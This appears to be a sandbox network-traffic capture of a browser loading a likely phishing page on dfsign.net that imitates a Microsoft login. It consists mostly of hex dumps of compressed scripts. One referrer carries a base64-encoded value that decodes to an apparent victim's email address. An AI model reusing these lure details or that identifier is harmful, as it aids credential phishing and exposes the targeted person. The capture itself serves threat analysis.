2025-01-07 13:48:47 UTC	15571	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 e4 bd 7d 5b e3 b8 92 38 fa ff fd 14 c1 e7 5c 26 19 4c da ce 7b cc 78 d8 74 80 6e 76 80 70 08 f4 cc 2e cd e1 71 6c 25 78 48 ec ac ed f0 72 42 f6 b3 ff aa 4a 92 2d 27 0e dd 3d bb cf bd cf 7d ee ec d9 26 96 4a 6f a5 52 a9 aa 54 2a 7d f8 79 e7 ff 2a fd 5c da ff fe ff 4a c3 eb de d5 75 69 70 52 ba fe 7c 7a 75 54 ba 84 af ff 28 5d 0c ae 4f fb c7 df 5f 0f 36 8a ff 7f fd e0 c7 a5 b1 3f 65 25 f8 3b 72 62 e6 95 c2 a0 14 46 25 3f 70 c3 68 1e 46 4e c2 e2 d2 0c fe 8d 7c 67 5a 1a 47 e1 ac 94 3c b0 d2 3c 0a ff 64 6e 12 97 a6 7e 9c 40 a1 11 9b 86 cf a5 32 54 17 79 a5 4b 27 4a 5e 4b a7 97 95 2a d4 cf a0 36 7f e2 07 50 da 0d e7 af f0 fb 21 29 05 61 e2 bb ac e4 04 1e d5 36 85 8f 20 66 a5 45 e0 b1 a8 f4 fc e0 bb 0f a5 73 df 8d c2 38 1c 27 a5 88 Data Ascii: }[8\&L{xtnvp.ql%xHrBJ-'=}&JoRT}y\JuipR\|zuT(]O_6?e%;rbF%?phFN\|gZG<<dn~@2TyK'J^K*6P!)a6 fEs8'
2025-01-07 13:48:47 UTC	14460	IN	Data Raw: 0d f1 00 d6 1c 08 2b a9 52 ed 28 b5 db 3b 86 ee 54 19 fa 42 60 ec 99 ef 54 05 41 23 91 82 77 56 d6 f6 41 4b 00 0e fc 84 c7 0b e5 8a 90 ba cb cb 80 5f f6 d7 9c e9 b3 f3 1a 6b ab 0a 34 88 bb 01 8c 77 30 c7 0e c5 80 17 87 b8 8c 1b f9 a3 7c ff 95 fa 33 88 72 26 d0 02 0a 40 fa 29 f3 13 ea 84 3b 19 94 d5 42 73 c6 1e cb 5c 79 c5 09 43 0b d9 6c 8e 97 66 b8 03 88 5d b4 e7 00 4f 01 c0 41 36 18 96 55 58 f9 86 c9 e9 20 b3 6f f8 d2 41 fa bd 69 d3 d1 04 60 a2 09 40 a8 fc 20 7d 8b 7b d8 d9 8c c5 6b e5 50 7f 47 1f 11 50 98 8e 9c e8 31 8b 98 70 e0 af 79 be 7d 44 7f 2c f2 25 c4 8b 20 eb b9 bf a3 5f 96 92 bb 51 9f ed a0 d8 84 9e c6 74 7b e6 02 6f 9a c3 1e 52 f5 00 2a 4b 49 74 85 6e 61 8d 47 5b dc ef 98 1d 55 8b dc 1c d1 2c ba bd df c2 a7 0c b7 d1 f7 06 20 9c cc 10 6c 85 46 Data Ascii: +R(;TB`TA#wVAK_k4w0\|3r&@);Bs\yClf]OA6UX oAi`@ }{kPGP1py}D,% _Qt{oR*KItnaG[U, lF
2025-01-07 13:48:47 UTC	16384	IN	Data Raw: 31 ed 10 98 e6 81 3a 4e fd df a3 ee 53 20 5f 7a 5a 46 17 46 f4 43 36 20 5d c8 de 78 8c 94 c1 e7 e8 11 72 a0 4a 65 92 66 19 9f 30 07 c1 18 d7 8b 78 3d f7 ea 0b 83 2b 99 74 35 f0 5f a9 29 bf 9b 47 b9 af 7d af 65 15 76 6c 23 b6 63 9b 53 8c 3f c8 f8 21 ca 03 f4 ca f2 a7 a8 77 3c d0 52 ba e6 a3 87 3a 5e f2 ab 31 4f 5e 38 8e 2b 51 e8 ec 7b b7 e7 de 20 05 8c f7 d1 d2 db e5 e5 77 30 07 9f 9b 38 a2 ee 1b bf 60 35 70 cd 1e f9 d3 66 89 f8 25 46 c6 fe d9 fd 05 8a 40 8a 0d e3 20 ac 2d 08 84 10 21 7c c5 06 90 51 7b 48 29 70 2c ed b3 d4 c4 13 b6 05 56 c7 24 aa d0 46 05 82 1c d2 83 11 91 83 64 e2 07 23 b4 28 97 a0 1a a3 e6 1d ec 80 60 48 48 84 cf 87 48 70 f7 45 2f 36 d6 aa bd c8 ed 8d dd 6d 02 3c da 67 2c b0 03 a0 86 a4 8c c0 3e 8d dc b7 d5 66 3b 4f 46 fb 9c a7 8f 18 18 Data Ascii: 1:NS _zZFFC6 ]xrJef0x=+t5_)G}evl#cS?!w<R:^1O^8+Q{ w08`5pf%F@ -!\|Q{H)p,V$Fd#(`HHHpE/6m<g,>f;OF
2025-01-07 13:48:47 UTC	16384	IN	Data Raw: 17 9c 61 af fa fe 43 30 e6 77 1f 6a ea 39 83 03 72 6f 34 e2 0c 27 35 19 18 7e 06 fd 5e 39 cf 99 39 16 4a 52 29 1a 78 50 7a 4d ab 81 ef a6 d3 09 0b 83 c4 90 99 19 59 26 cd af f8 b7 f1 7a 40 3b fd 88 b7 7d f8 29 ce 6f 31 14 d9 59 2a 87 f8 47 73 5c e0 5a 82 f9 b9 e3 f3 41 4c 82 99 83 8f 08 35 34 ef cc d6 8c a3 e8 f3 a9 32 7e e7 2c 3d b3 00 dc 6b d8 06 7e 79 6a 36 97 6e 87 e2 ed 89 f9 b6 ce fc 93 33 ee 1b f9 d4 81 59 94 74 6b 36 62 42 46 11 3c 2f 66 1d 79 3a 1c 8e a2 c3 f4 0e e7 e6 20 cb 0e 90 08 e6 9c 6f cc 59 36 98 4f ca f0 d6 cc 30 4d be 4c 82 71 79 38 06 35 c3 69 ec 89 33 73 2d 85 64 0d 68 ae a5 13 73 d4 71 c3 c2 dc 1f b0 95 b9 18 11 d5 16 6a 85 aa 5b 5e b9 9a 0a 0f 79 76 20 d5 17 bc a9 f1 05 26 cc 4a 94 fd 61 f0 30 29 4c 2a c5 89 ae ba a8 27 4a b3 a3 09 Data Ascii: aC0wj9ro4'5~^99JR)xPzMY&z@;})o1YGs\ZAL542~,=k~yj6n3Ytk6bBF</fy: oY6O0MLqy85i3s-dhsqj[^yv &Ja0)L'J
2025-01-07 13:48:47 UTC	2737	IN	Data Raw: 05 5b 30 1d 05 9a 67 8f b1 1e 4d bf 41 3f 66 3e d0 47 c1 96 8b a3 17 bc b1 fe 6e b5 4a 79 2d 20 eb 04 f4 37 c9 34 36 9e 34 b6 eb 6e a7 d7 44 2d d9 22 a7 6e 2a 07 26 b5 94 13 88 7c 3f f3 16 41 a3 a2 c8 16 4d b3 6a 21 28 fa 08 09 18 69 74 9a a4 70 4a 5d 09 f0 24 7b fa 34 53 04 54 8b 8b 10 0d 06 6e b6 54 b3 a8 d5 27 31 bb d0 fa d9 c3 43 c4 27 8e 7c 19 7a 06 69 2b cc 0a ba 20 ec b4 b5 fa bf 2c 3b c2 b7 a9 bb 01 8c 08 34 eb 14 2c 67 1e 7b c8 66 ee f4 cf 08 96 dd 15 75 54 a3 c0 db 19 0a e1 de f6 e8 81 27 e4 e3 e2 a9 4c a5 a6 53 09 82 d6 bf d6 73 c5 4f 42 22 a4 29 27 83 55 12 23 fc 93 a7 d1 1d d4 0f ab ec d2 67 df c5 82 81 2d 32 11 7d 4d fd 11 57 a4 25 97 cb 64 3c 8e d3 47 1c 58 54 43 ff 94 07 8b cd 16 75 db f6 2c 07 6c cb 42 cf 12 17 1b fa ad 54 d7 a9 df b4 a1 Data Ascii: [0gMA?f>GnJy- 7464nD-"n*&\|?AMj!(itpJ]${4STnT'1C'\|zi+ ,;4,g{fuT'LSsOB")'U#g-2}MW%d<GXTCu,lBT
2025-01-07 13:48:47 UTC	16384	IN	Data Raw: 41 52 f5 d0 2f f8 06 fd f2 d6 36 82 9c fe cb 54 1b a6 68 f3 1c ff 5c e3 9f 2c 9c d0 97 2e fa d9 c3 43 de f7 2e c2 19 0d 3f 55 f1 7c c3 27 f6 e9 82 3e 20 37 f0 8d b9 34 74 7a 3a 55 9d 3c 0b ef 89 df 2d e7 45 50 fa 82 4f 92 9e 3e 7f 9e 03 2e 86 a6 02 f9 bf 90 32 49 55 42 35 50 bd 83 eb e5 95 24 aa 92 98 2a c9 74 25 19 8c fb 54 a9 4f f7 fc 88 26 17 ce aa 0f 0f 53 95 6c 4c bd 4a 6b b6 8c 98 dd 30 0d c9 cf 16 36 48 17 16 af 7b 4d 0c 25 6d ef 31 d1 9a bd e4 3a 29 11 fd 5e c0 09 f4 9b 89 e7 4f 7b 70 19 ce d9 fd ba 85 a9 56 b3 36 26 a1 33 cc b2 69 1c d9 69 af 06 f7 f5 6a 83 64 01 50 99 fb 85 5f c2 31 84 86 5a cc b3 48 1d a3 22 4c 0c bc 00 8b 61 c4 78 8c 71 22 11 59 65 60 d6 31 bc ec 19 47 2e b5 6e e9 42 89 57 69 d8 e7 65 32 2d 18 9d 89 4e 66 86 71 61 d5 17 d6 f9 Data Ascii: AR/6Th\,.C.?U\|'> 74tz:U<-EPO>.2IUB5P$*t%TO&SlLJk06H{M%m1:)^O{pV6&3iijdP_1ZH"Laxq"Ye`1G.nBWie2-Nfqa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.16	49731	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:48:45 UTC	646	OUT	GET /ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_i8f-75gfk3tbsm8bmatnqa2.js HTTP/1.1 Host: 9676170e-b5027fcd.dfsign.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://login.dfsign.net sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://login.dfsign.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-07 13:48:47 UTC	812	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 13:48:46 GMT Content-Type: application/x-javascript Content-Length: 16345 Connection: close cache-control: public, max-age=31536000 last-modified: Sat, 26 Oct 2024 01:33:48 GMT etag: 0x8DCF55E3D91C34E x-ms-request-id: 05b4b9a1-701e-0071-54d6-57257d000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20250107T134846Z-1777998d8f98rsbwhC1DUSnben00000013k000000000t6xc x-fd-int-roxy-purgeid: 4554691 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2025-01-07 13:48:47 UTC	15572	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 dd 7d 4d 73 23 c7 92 d8 dd bf 02 0f cf f1 86 5c f5 40 f8 e0 27 46 d0 18 04 c0 19 ec 90 00 04 80 33 52 48 32 a2 09 14 c1 7e 04 ba b1 dd 8d e1 f0 51 e3 78 37 1f f6 e0 ab 7d f3 c1 27 1f 7d f1 dd 3f 65 23 d6 bf c3 f9 51 55 5d d5 dd 00 c8 91 56 6f d7 0a c5 10 dd f5 95 95 95 95 95 99 95 99 fd 87 9b b5 3f 8d bd c0 df 13 fb 8f ea 77 21 d8 f3 f7 1f bd 9b 3d ef 47 ff e7 fd 50 c4 eb d0 2f e0 ef 92 f8 b4 0a c2 38 7a f5 d1 0d 0b 71 03 5f 35 1e e5 bb fa e3 67 c7 9b d5 7d 67 11 b8 33 31 ab ff a1 f2 f9 95 6c 2a b0 e9 d4 5d 2c f6 62 d5 83 13 3b c9 ef 60 1f 1e b8 59 e3 0f e5 a4 e0 33 0e e3 35 1e 75 47 41 69 d9 10 4e 50 9a 36 3c f8 77 d5 28 16 9d 60 af bc ff 79 ef c7 64 1a 4e e0 78 00 fc 5e 75 9f a0 f4 1b de 5e 05 fa 87 3f 87 fb 4e 08 7f 8e f6 Data Ascii: }Ms#\@'F3RH2~Qx7}'}?e#QU]Vo?w!=GP/8zq_5g}g31l*],b;`Y35uGAiNP6<w(`ydNx^u^?N
2025-01-07 13:48:47 UTC	773	IN	Data Raw: e8 04 1b c0 7a 77 4c f1 70 ee 03 7e b9 52 66 00 e0 2d 4b 19 b6 30 82 b4 8c 07 10 e2 6a 41 51 4f 3c 0d 86 9c fb 90 51 1e b8 7e 38 ef ac ca 5b ce 0d e6 a8 e8 40 1c 3c 54 74 00 12 3d d5 58 6e a1 df 32 fc 96 7e 1f e6 a4 0f c0 6d c1 20 4b f4 e5 94 23 08 f2 7a 2b a7 b0 22 f9 95 e1 1b bc 5a 63 78 0f a0 e3 c1 92 39 86 02 bf 1f 40 12 07 fe c0 04 ed 43 f1 51 60 30 01 9f 99 b9 11 22 9c 9c 46 f5 21 03 4e d8 91 99 23 47 70 69 f5 43 13 bf cf 2b a3 5b 30 aa 4d 00 19 ad 61 59 30 a3 07 1c ad 07 46 55 f6 20 7e 60 b4 50 c6 37 58 14 8d 87 24 dd 1a 60 1d ef 0e ff 78 de 3c 3f 3d 3f 29 da 42 15 9f 5b 3c cd 11 b4 5f 48 e5 b0 5e 8c 8c 27 d8 05 98 35 59 15 2d 93 07 3e a7 63 10 ab 63 49 07 c0 d2 95 1b 8e 96 fc d4 b9 0c ab 80 76 df 91 f7 17 e2 c7 c6 08 08 ae 98 e1 2e 77 5a 67 fd 21 Data Ascii: zwLp~Rf-K0jAQO<Q~8[@<Tt=Xn2~m K#z+"Zcx9@CQ`0"F!N#GpiC+[0MaY0FU ~`P7X$`x<?=?)B[<_H^'5Y->ccIv.wZg!

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.16	49733	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:48:47 UTC	365	OUT	POST /api/report?catId=GW+estsfd+dub2 HTTP/1.1 Host: 00459cc6-b5027fcd.dfsign.net Connection: keep-alive Content-Length: 491 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-07 13:48:47 UTC	491	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 31 32 38 34 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 6c 6f 67 69 6e 2e 64 66 73 69 67 6e 2e 6e 65 74 2f 3f 6f 72 67 61 6e 69 73 61 74 69 6f 6e 3d 6d 6f 64 75 6c 61 26 63 6c 69 65 6e 74 5f 69 64 3d 5a 32 6c 76 64 6d 46 75 62 6d 6b 75 59 32 46 79 61 57 46 75 61 55 42 74 62 32 52 31 62 47 45 75 59 32 39 74 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 32 34 38 2e 32 33 2e 31 30 32 22 Data Ascii: [{"age":0,"body":{"elapsed_time":1284,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://login.dfsign.net/?organisation=modula&client_id=Z2lvdmFubmkuY2FyaWFuaUBtb2R1bGEuY29t","sampling_fraction":1.0,"server_ip":"104.248.23.102"
2025-01-07 13:48:47 UTC	367	IN	HTTP/1.1 429 Too Many Requests Server: nginx Date: Tue, 07 Jan 2025 13:48:47 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close request-context: appId=cid-v1:bdc28cee-e7d0-4fb8-ae30-555e54e91d16 access-control-allow-credentials: false access-control-allow-methods: , GET, OPTIONS, POST access-control-allow-origin:
2025-01-07 13:48:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.16	49734	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:48:47 UTC	559	OUT	GET /ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_i8f-75gfk3tbsm8bmatnqa2.js HTTP/1.1 Host: 9676170e-b5027fcd.dfsign.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wfSt9v="YjUwMjdmY2QtMTYxNC00ZjY1LWJkODgtMTBmNWY5Y2UyMjQwOmU1YmU2YzI2LTJiZWQtNDI3Ny1hNmIwLTBkY2ZlZjY4YzkyZQ=="
2025-01-07 13:48:48 UTC	812	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 13:48:47 GMT Content-Type: application/x-javascript Content-Length: 16345 Connection: close cache-control: public, max-age=31536000 last-modified: Sat, 26 Oct 2024 01:33:48 GMT etag: 0x8DCF55E3D91C34E x-ms-request-id: 575cce8a-501e-0051-44e5-5a2965000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20250107T134847Z-15464c697c5nzg6lhC1FRAsbv80000000r1g0000000026cw x-fd-int-roxy-purgeid: 4554691 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2025-01-07 13:48:48 UTC	15572	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 dd 7d 4d 73 23 c7 92 d8 dd bf 02 0f cf f1 86 5c f5 40 f8 e0 27 46 d0 18 04 c0 19 ec 90 00 04 80 33 52 48 32 a2 09 14 c1 7e 04 ba b1 dd 8d e1 f0 51 e3 78 37 1f f6 e0 ab 7d f3 c1 27 1f 7d f1 dd 3f 65 23 d6 bf c3 f9 51 55 5d d5 dd 00 c8 91 56 6f d7 0a c5 10 dd f5 95 95 95 95 95 99 95 99 fd 87 9b b5 3f 8d bd c0 df 13 fb 8f ea 77 21 d8 f3 f7 1f bd 9b 3d ef 47 ff e7 fd 50 c4 eb d0 2f e0 ef 92 f8 b4 0a c2 38 7a f5 d1 0d 0b 71 03 5f 35 1e e5 bb fa e3 67 c7 9b d5 7d 67 11 b8 33 31 ab ff a1 f2 f9 95 6c 2a b0 e9 d4 5d 2c f6 62 d5 83 13 3b c9 ef 60 1f 1e b8 59 e3 0f e5 a4 e0 33 0e e3 35 1e 75 47 41 69 d9 10 4e 50 9a 36 3c f8 77 d5 28 16 9d 60 af bc ff 79 ef c7 64 1a 4e e0 78 00 fc 5e 75 9f a0 f4 1b de 5e 05 fa 87 3f 87 fb 4e 08 7f 8e f6 Data Ascii: }Ms#\@'F3RH2~Qx7}'}?e#QU]Vo?w!=GP/8zq_5g}g31l*],b;`Y35uGAiNP6<w(`ydNx^u^?N
2025-01-07 13:48:48 UTC	773	IN	Data Raw: e8 04 1b c0 7a 77 4c f1 70 ee 03 7e b9 52 66 00 e0 2d 4b 19 b6 30 82 b4 8c 07 10 e2 6a 41 51 4f 3c 0d 86 9c fb 90 51 1e b8 7e 38 ef ac ca 5b ce 0d e6 a8 e8 40 1c 3c 54 74 00 12 3d d5 58 6e a1 df 32 fc 96 7e 1f e6 a4 0f c0 6d c1 20 4b f4 e5 94 23 08 f2 7a 2b a7 b0 22 f9 95 e1 1b bc 5a 63 78 0f a0 e3 c1 92 39 86 02 bf 1f 40 12 07 fe c0 04 ed 43 f1 51 60 30 01 9f 99 b9 11 22 9c 9c 46 f5 21 03 4e d8 91 99 23 47 70 69 f5 43 13 bf cf 2b a3 5b 30 aa 4d 00 19 ad 61 59 30 a3 07 1c ad 07 46 55 f6 20 7e 60 b4 50 c6 37 58 14 8d 87 24 dd 1a 60 1d ef 0e ff 78 de 3c 3f 3d 3f 29 da 42 15 9f 5b 3c cd 11 b4 5f 48 e5 b0 5e 8c 8c 27 d8 05 98 35 59 15 2d 93 07 3e a7 63 10 ab 63 49 07 c0 d2 95 1b 8e 96 fc d4 b9 0c ab 80 76 df 91 f7 17 e2 c7 c6 08 08 ae 98 e1 2e 77 5a 67 fd 21 Data Ascii: zwLp~Rf-K0jAQO<Q~8[@<Tt=Xn2~m K#z+"Zcx9@CQ`0"F!N#GpiC+[0MaY0FU ~`P7X$`x<?=?)B[<_H^'5Y->ccIv.wZg!

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.16	49735	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:48:47 UTC	627	OUT	GET /shared/1.0/content/js/ConvergedLogin_PCore_kAx9qZOSH4g90FNHstHMCA2.js HTTP/1.1 Host: 03e75177-b5027fcd.dfsign.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://login.dfsign.net sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://login.dfsign.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-07 13:48:48 UTC	746	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 13:48:48 GMT Content-Type: application/x-javascript Content-Length: 122499 Connection: close accept-ranges: bytes access-control-allow-origin: * access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding age: 3909847 cache-control: public, max-age=31536000 etag: 0x8DD0A95DDC3438A last-modified: Fri, 22 Nov 2024 01:34:54 GMT vary: Accept-Encoding x-cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 19c13bb1-d01e-0016-527b-3d3cfb000000 x-ms-version: 2009-09-19 content-encoding: gzip
2025-01-07 13:48:48 UTC	6448	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 e4 bd 7d 5b e3 b8 92 38 fa ff fd 14 c1 e7 5c 26 19 4c da ce 7b cc 78 d8 74 80 6e 76 80 70 08 f4 cc 2e cd e1 71 6c 25 78 48 ec ac ed f0 72 42 f6 b3 ff aa 4a 92 2d 27 0e dd 3d bb cf bd cf 7d ee ec d9 26 96 4a 6f a5 52 a9 aa 54 2a 7d f8 79 e7 ff 2a fd 5c da ff fe ff 4a c3 eb de d5 75 69 70 52 ba fe 7c 7a 75 54 ba 84 af ff 28 5d 0c ae 4f fb c7 df 5f 0f 36 8a ff 7f fd e0 c7 a5 b1 3f 65 25 f8 3b 72 62 e6 95 c2 a0 14 46 25 3f 70 c3 68 1e 46 4e c2 e2 d2 0c fe 8d 7c 67 5a 1a 47 e1 ac 94 3c b0 d2 3c 0a ff 64 6e 12 97 a6 7e 9c 40 a1 11 9b 86 cf a5 32 54 17 79 a5 4b 27 4a 5e 4b a7 97 95 2a d4 cf a0 36 7f e2 07 50 da 0d e7 af f0 fb 21 29 05 61 e2 bb ac e4 04 1e d5 36 85 8f 20 66 a5 45 e0 b1 a8 f4 fc e0 bb 0f a5 73 df 8d c2 38 1c 27 a5 88 Data Ascii: }[8\&L{xtnvp.ql%xHrBJ-'=}&JoRT}y\JuipR\|zuT(]O_6?e%;rbF%?phFN\|gZG<<dn~@2TyK'J^K*6P!)a6 fEs8'
2025-01-07 13:48:48 UTC	16384	IN	Data Raw: 66 d4 0d 9d bb 06 de 8b 45 8f d7 86 40 df 05 8d f7 f2 f2 fe f8 fe e8 e3 fd f9 f1 f9 c7 e3 ab a3 c1 f1 f0 62 70 7d fc c7 e9 10 96 64 ff 04 fe eb e3 c1 2c 41 1d ff d1 3f bb 39 3a 86 05 d3 31 8c 06 ce a1 c8 e0 65 ef cf 06 fd df 94 5c 53 e4 7e ec 1d dd 5f f6 86 c3 df 07 57 59 66 4d 16 3d 1d 0e 4f 2f 3e 89 2a f8 e2 e5 20 75 73 0d 64 bd 8e ba ac e3 e4 f8 e8 f8 aa 77 4d 0b ed e2 ec 14 16 ee e0 d3 e9 c5 fd d1 e9 b0 77 76 36 f8 5d 76 a9 dd e9 f5 45 89 cb e3 fb ab 9b 33 58 b0 67 43 d1 5e a3 6b c8 cc f3 c1 47 60 19 7d 58 c1 c3 fb cb cf 83 8b e3 8b 1b 1a de c7 b3 de c5 6f 1c ba d9 31 cc 6f 40 5f 0f 06 c3 cf 03 e4 82 a2 40 eb db 05 ce 06 17 9f 52 f8 f6 37 e0 4f 2f be f4 ce 4e 8f 52 78 39 19 88 43 b5 af a6 99 66 1d 9f f7 4e 81 a9 5d f4 07 e7 97 67 c7 d7 c7 29 c0 d1 1a Data Ascii: fE@bp}d,A?9:1e\S~_WYfM=O/>* usdwMwv6]vE3XgC^kG`}Xo1o@_@R7O/NRx9CfN]g)
2025-01-07 13:48:48 UTC	16384	IN	Data Raw: a5 fb 1e 32 08 1b 8f ad 88 41 19 85 f3 9b 85 41 16 3f 9f 5e ca 8c 9a 7e 72 2d 7f d7 75 f2 09 90 9f 0d fd 08 af 60 f1 60 89 32 b1 a9 0b 6f 47 ab 6e 18 c0 8c 38 3b 09 c7 48 63 d7 a1 5c 20 9b 4a 3e 5d 42 12 d7 30 18 bf 86 51 ba bc 1a 0c 4e 88 3a ab b0 4e ac c0 f6 aa e9 d2 51 ee 4b a8 70 b4 54 08 32 5d 3f 5b 20 89 78 ad f5 54 49 d5 54 85 4a f9 5b 6a b9 1e 5c 5f e6 56 f7 97 1a 15 dd 58 98 ea e1 50 1e 27 c0 70 68 01 16 89 b4 df c0 0a 1f 6d 11 ae a0 e8 e1 b4 ba be 0a 65 ca 5f 43 09 af b3 98 1d 4c ff 2a b2 12 ba cd 98 e3 07 d9 95 92 03 81 a8 02 7a e1 2a 0e ae 60 b2 32 a2 2c 39 96 4b 90 52 30 e8 81 58 ca 6f 6f 6e 55 f2 7f 0a 97 3d 97 d8 a7 f7 d4 e9 8b 5f 20 85 72 11 79 fb a5 23 a3 cb 9d 0b 9f 9e 8a 43 b7 e8 a9 eb 7b 3a 9e 92 cd 95 65 4a 05 e7 6b 89 7d ba a0 21 ae Data Ascii: 2AA?^~r-u``2oGn8;Hc\ J>]B0QN:NQKpT2]?[ xTITJ[j\_VXP'phme_CLz`2,9KR0XoonU=_ ry#C{:eJk}!
2025-01-07 13:48:48 UTC	16384	IN	Data Raw: d8 74 1b 93 d1 83 18 ba 92 83 f2 0e 8d 68 40 1c 85 e8 4e fa 91 69 2f 30 56 51 4f 22 f7 ff 11 4c c2 fd e8 16 4e eb b4 08 20 84 c8 ac 7b 93 38 28 31 8e 08 3b 77 eb 8f 9b 31 50 1b e1 b4 9f 1f c1 8c 76 c6 cd c1 db f8 01 59 67 18 3c b9 4e 69 91 96 ed 55 85 a5 88 a5 16 b7 e5 5a a7 49 74 38 89 ef 23 f8 79 fe 19 63 2d ba d6 3e 7c 0f 7f 7e ed a5 0f f0 e7 13 61 20 59 a7 d3 7c 94 a6 9f f1 d7 60 10 f7 23 b2 31 e8 47 b0 98 ac 33 b4 b4 25 db 07 78 38 80 69 0a 92 40 16 87 f8 76 e8 e2 6a bd 8f 82 11 2a 35 a0 f2 51 74 f4 33 56 13 05 77 f8 7c 7e 42 a9 70 f8 4f 02 68 92 24 18 ec e8 75 6b 36 8b 7e f0 a5 dd 86 43 e6 17 68 be 2d a3 35 0a d7 2a ab f9 0a 9d ed 50 e6 32 8e c2 e8 e6 a9 35 7f 6a cf 9b 4f 6b 73 cb cd af a2 6b 37 e9 5a ac eb b2 30 92 f9 a8 6b a1 6e c7 b3 50 b9 84 f8 Data Ascii: th@Ni/0VQO"LN {8(1;w1PvYg<NiUZIt8#yc->\|~a Y\|`#1G3%x8i@vj5Qt3Vw\|~BpOh$uk6~Ch-5P25jOksk7Z0knP
